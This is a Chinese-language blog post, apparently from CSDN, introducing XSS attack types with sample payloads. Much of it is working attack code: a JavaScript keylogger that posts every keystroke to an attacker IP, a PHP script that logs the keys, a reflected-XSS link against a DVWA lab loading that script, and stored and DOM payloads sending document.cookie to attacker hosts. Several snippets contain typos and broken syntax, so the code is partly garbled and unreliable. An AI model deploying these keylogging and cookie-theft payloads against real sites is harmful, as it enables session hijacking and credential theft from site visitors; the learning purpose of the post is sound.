小亮学xss

XSS漏洞攻击的初步学习与攻击方法

1.基本介绍
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容

2.主要类型:
存储型(持久性)
反射型(非持久)
DOM型

3.使用场景

 直接嵌入html:<script>alert('xss');</script> 元素标签事件:<body onlad=alert('xss')> 图片标签:<img src="javascript:alert('xss');"> 其他标签:<iframe>,<div>,and <link>

  
 
  • 1
  • 2
  • 3
  • 4

4.漏洞poc
在这里插入图片描述

解释:
…onclick :单击触发

…onerror: 事件在视频/音频(audio/video)数据加载期间发生错误时触发。(给的是一个不存在的地址)

…window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。作用:(跳到黑客自己设置的站点 然后盗取用户输入的账号密码)
拓展:window.location 对象在编写时可不使用 window 这个前缀。 一些例子:
一些实例:
location.hostname 返回 web 主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回 web 主机的端口 (80 或 443)
location.protocol 返回所使用的 web 协议(http: 或 https:)

…iframe 元素会创建包含另外一个文档的内联框架(即行内框架)

…最后一句话 意思是篡改目标服务器主页 使添加的内反射型容显示出来。

5.反射型漏洞举例(可以攻击客户的Web application 使客户在此页面的键盘敲击都会返回给攻击者)
js脚本:

Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

php接收代码:

<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile, "a");
fwite($fp,$key);
.  fclose($fg);

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

keylogger.php(接收数据) 因此还需在php下创建一个 keylog.txt文件 使被攻击者返回的数据能被显示出来

最后加上攻击者的ip地址 与被攻击者的ip地址实现攻击

<script土src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</ a>


  
 
  • 1
  • 2
  • 3

6:存储型漏洞:(多数存在在留言板)(意思是长期储存在服务器端用户每次访问都会都会被执行js脚本)
小例子:(通过监听88端口从而实现用户cookie值的窃取)

<srcipt src=http://1.1.1./a.js></script>

  
 
  • 1

js脚本

.var img=new  image().img.src="http://1.1.1.:88/cookies.php&cookie="+document.cookie;

  
 
  • 1
  • 2

7.DOM型模板:

意思是从元素到文件再到具体的窃取东西在这里插入图片描述

例如
用API标准格式来创建一个页面元素 img 从而定义一个攻击者自身的图片地址 然后用来窃取cookie值

<script>var
img=document.createElement("img");img.src="http://192.168.20.8:88/log&"+escape(document.cookie);</script>

  
 
  • 1
  • 2

文章来源: blog.csdn.net,作者:小亮酸Q糖,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/zl52111/article/details/115019752

(完)